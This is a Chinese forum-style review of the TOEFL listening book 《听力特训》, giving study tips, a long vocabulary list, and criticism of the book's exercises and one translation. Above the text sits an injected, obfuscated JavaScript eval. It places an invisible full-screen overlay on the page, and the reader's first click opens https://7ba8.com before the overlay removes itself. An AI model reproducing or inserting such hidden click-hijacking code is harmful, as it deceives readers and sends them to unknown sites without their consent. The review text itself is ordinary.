<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我总共花了14天把新托福考试《听力特训》给听完了，一共是7张光盘的内容。下面说下我对听力特训的使用感受和心得。
每篇passage，俺都至少听4遍以上。里面所有的short lecture和short dialogue，虽然语速比iBT speaking section的语速快，内容也多一点，但俺仍然全部用来做口语复述用。每个short passage，俺至少复述一遍以上。
俺觉得生疏的词或短语，和在听力中听了几遍还是不知道的专业词汇，和听了一遍没有迅速反应过来的容易词，俺就把它们标出来。共有500个左右，就是下面这些，为了分辨词组，词与词之间和词组之间已用“*”隔开：
(建议在下面的词中，除了部分专业词外，其它所有的词，大家最好即听即懂，反应要快，如果做到条件反射就更好)
be backed up * continuing students * menial * pay my board * up to one's ears * alignment * fiscal * hinge on * case in point * osteoporosis * dietician * bite the bullet * libel * practice written in stone * inn * ergosterol * serotonin * colon * sclerosis * ado * sheriff * loner * spoof * against all odds * overland * all but * aboriginal * hard copy * wilderness retreat * vinyl * cladding * weather-proof * warp * tetanus * bristly * clutter * dyslexic * make allowance * ramp * Baby Buggy * stand up for * confrontational * injunction * on the ball * you're really with it today * truss * pretentious * against the grain * denounce * liven sth up * hippocampus * amygdala * pooped * hop* cauldron * catch up * recap * over one's head * orchid * coral * runaway * terrestrial * gimmick * fickle * desalinization * panoramic * scenes * dust bowl * neon * ice-rink * clay * enzymatic * lip service * strident * bear in mind * hook up * markedly * by leaps on bounds * dementia * Alzheimer's disease * cross-section * cortex * convolution * gerontology * liken * nano * take heart * stalk * boomer generation * on the flip side * swirling * geese * synergies * stratosphere * grasshopper * dispel * to name but a few * catch on * boron * titanium * sacred * disruptive * perk * hold one's back from * comfy * in a pinch of time * cybernetic * prosthetics * auditing * conjure * fluorescent * dabber * noteworthy * perennial * enamor * pastime * slant * out in left field * hypnic * myoclonia * intersperse * exclusively * groggy * sputnik * humiliated * arena * emission * ornamental * registrar * directory * refund * bursary * pneumonia * homestay * go overboard * get-up-and-go * acne * dysentery * scurvy * cholera * partitioned * grievous * cash crop * outlawing *** * phrenology * physiognomy * anatomist * benevolence * deterring * whim * hysteric * enquiry * full * in accordance with * format * try-outs * hone * lucky timing * drop-in * waive * nominal * etcetera * do laps * sort * grassroots * hamper * bonanza * propel * in droves * elusive * interlock * breadbasket * shanty * Roosevelt * mural * disuse * bustling * prophetical * city-states * full wigs * bloomer * banquet * comique * dregs of society * dialysis * donor * reveal * hypocrite * Socratic * validity * dismantle * ensuing * hoop * contentious * stupidity * demoralize * sill * frost * warmth * well-drained * stake * trellis * minute structure * alike * tenet * hold water * lipid * plasma * microbe * fight in part over sth * fiddle * filament * diode * audion * mint * threw * line-up * a set number of * statutory holidays * sound man * a faint university crest * plugged * set off * workout * inundate * label * temporal * parietal * occipital * spatial * lob * turn-about-face * campaign * salutation * via * debit * roaming * circuit * wander * an end * annual dues * tinsmiths * purposeful * call attention to ones * absolution * civilian * leave sth free * aerial * pertinent * well-off * uncaring * tying * tyranny * squalor * degradation * seeming * misery * satirical * miss the boat * cyclone * collide * funnel * vortex * once in a blue moon * subtle * outset * epistemology * go about * mourn * lament * succinct * forthcoming * run-on-sentences * merit * get a rise out of * in the dark about sth * more often than not * a far cry * widower * let the comment slide * affluent * contraceptive * onset * 30-something * sack * quota * level off * spout that * God-awful * big time * downside * sit on the fence with sth * cut and dried * in vitro * sentiment * volatile * envision * calm * openness * relinquish
《听力特训》每篇文章后面的习题出的并不好，有很多是不符合iBT的要求，如考一些数字题、人名题(包括意大利语，俄语和法语的人名)、非常琐碎的细节题，还有ETS禁说的宗教和政治问题。还有重听题的重听内容太多，没有明确的一个比较小的重听范围，在里面就是重听一大段内容之后，问：“why does the professor say this?”，那么this到底是什么呢，就没说啦，晕死。有不少题目的选项十分的vague，模棱两可、有些答案经不起推敲，因为推敲多一点，就会意识到所谓正确的答案也不够正确。
书也有一些地方错误，甚至关系到翻译者的英语水平问题，如，在书的347页：
Clerk: ....Could you come at 5 on Thursday?
Student: Yes, I guess so. I am finished at 3 on Thursday.
Clerk: Well, I also have an opening at 4 on Thursday. Would you prefer that to the 5 pm.?
Student: Yes, I think so. I wouldn't have to wait around. That sounds good. ...
prefer that to the 5 pm中的that应该指代4 pm. 意思是：你宁愿4点来，而不是5点来，对吗?学生说对。这个看法后面还有一个验证：I wouldn't have to wait around. 就是说，5点开始的话，学生要等，4点就不用等啦。
而书中的翻译是：“好，我正好4点也要开课。那就5点。你愿意吗?”这也导致书后一道习题的答案是星期四下午5点这个学生来接受个人健康评估。但事实上，正确答案应是星期四下午4点。
书后面有个real toefl test的听力模考，里面2个对话，4个lecture，我自测时34道题目里面错10个，正确率在70%左右，其中在一篇叫sociology：marriage，里面有6个题目，我错了5个!我认为这篇sociology：marriage的lecture，就文章而论，比较难，就题目而论，更难。还有一篇ETS禁止的政治文章叫international politics：empires，里面6个题目，我错2个，文章里面有大量俄国和南斯拉夫，还有阿尔巴尼亚人名，和当代政治事件，如苏联解体，科索沃战争，所以这篇文章超难，但题目不是特别难，所以错2个还不是特别糟。如果大家对自己的做题技巧和听力有足够自信的话，可以做一下，相信大家比我强!
题目不是很好，但不能说《听力特训》就不好，因为它是很好的训练听力的材料，题材覆盖面广，俺在其中学了不少知识。里面的老外发音我认为已经够不错啦。语速算快的，应该语速不在iBT之下。里面短文章可以用作口语练习，但长文章不是太长，一般在3分半到5分之间，没有上6分钟的文章。而好像iBT有不少上6分钟的。
总得来讲，只要把新托福考试《听力特训》的听力材料吃透，听力有长进就够啦，那些题目可做可不做。反正，我听了觉得有长进! |
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